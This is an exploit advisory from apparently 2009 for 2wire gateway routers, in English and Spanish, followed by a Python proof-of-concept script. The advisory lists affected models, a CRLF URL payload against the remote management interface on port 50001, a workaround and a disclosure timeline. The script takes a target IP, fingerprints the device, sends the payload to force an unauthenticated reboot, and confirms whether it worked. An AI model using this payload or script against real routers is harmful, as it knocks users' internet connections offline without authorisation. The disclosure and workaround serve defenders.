2wire Router <= 5.29.52 Remote DoS

                                                """           ========================================
               2WIRE REMOTE DENIAL OF SERVICE
         ========================================


Device:		2wire Gateway Router/Modem
Vulnerable Software:	< 5.29.52
Vulnerable Models:	1700HG
			1701HG
			1800HW
			2071
			2700HG
			2701HG-T
Release Date: 	2009-09-00
Last Update: 	2009-09-00
Critical: 	Moderately critical
Impact: 	Denial of service
		Remote router reboot
Where:		From remote
		In the remote management interface
Solution Status:	Vendor issued firmware patches
			Providers are in charge of applying the patches
WebVuln Advisory:	1-003


  BACKGROUND
=======================

The remote management interface of some 2wire modems is enabled by default.
This interface runs over SSL on port 50001 with an untrusted issuer certificate.

++Español
Algunos módems 2wire tienen la interfaz remota habilitada por default.
La interfaz utiliza SSL con un certificado invalido en el puerto 50001.


   DESCRIPTION
=======================

Some 2wire modems are vulnerable to a remote denial of service attack.
By requesting a special url from the Remote Management interface, an unathenticated
user can remotely reboot the complete device.

++
Algunos módems 2wire son vulnerables a un ataque de denegación de servicio.
Un usuario no autenticado puede reiniciar el dispositivo enviando una petición a
la interfaz de Administración remota.


  EXPLOIT / POC
=======================

 https://<remoteIP>:50001/xslt?page=%0d%0a


  WORKAROUND
=======================

Disable Remote Management in Firewall -> Advanced Settings.

++
Deshabilitar Administración remota en Cortafuegos -> Configuración avanzada


   DISCLOSURE TIMELINE
=======================

2009/09/06 - Vulnerability discovered
2009/09/08 - Vendor contacted


                  =======================

                           h k m
                        [email protected]
                    http://www.hakim.ws

                  =======================
Greets:
preth00nker, DromoroK, mr.ebola, Javier, d0ct0r_4rz0v1zp0, ch@vez, fito, HL, Xianur0, Pr@fEs0r X, Daemon.


  REFERENCES
=======================

Preth00nker's exploit (LAN) - http://www.milw0rm.com/exploits/2246
2Wire Gateways CRLF DoS (from local network) - http://secunia.com/advisories/21583
Hakim.Ws - http://www.hakim.ws
WebVuln - http://www.webvuln.com"""

#  POC
#=======================

print "\n     #################################################"
print "    #         2WIRE REMOTE DoS (FW =< 5.29.52)       #"
print "   #                                               #"
print "  #                  [email protected]                 #"
print " #################################################\n"

import socket, sys, urllib2 

socket.setdefaulttimeout(4)

try:
	ip = sys.argv[1]
except:
	print " [IP ERROR] -> python 2os.py 123.123.123.123\n"
	sys.exit()

if not len(ip.split(".")) == 4:
	print " [IP ERROR] -> python 2os.py 123.123.123.123\n"
	sys.exit()

print " [ ] Detectando el dispositivo"
try:
	server = str(urllib2.urlopen(urllib2.Request("https://"+str(ip)+":50001/xslt?page=CD35_SETUP_01")).info())
	print " [+] Detectado "+server[int(server.find("Server:"))+8:int(server.find("\n",int(server.find("Server:"))))]
except:
	print " [-] No detectado\n"
	sys.exit()

print " [ ] Lanzando el ataque"
try:	str(urllib2.urlopen(urllib2.Request("https://"+str(ip)+":50001/xslt?page=%0d%0a")).read())
except:	pass

try:
	server = str(urllib2.urlopen(urllib2.Request("https://"+str(ip)+":50001/xslt?page=CD35_SETUP_01")).info())
	print " [-] No vulnerable\n"
except:
	print " [+] MODEM RESETADO! EAEA!\n"
	sys.exit()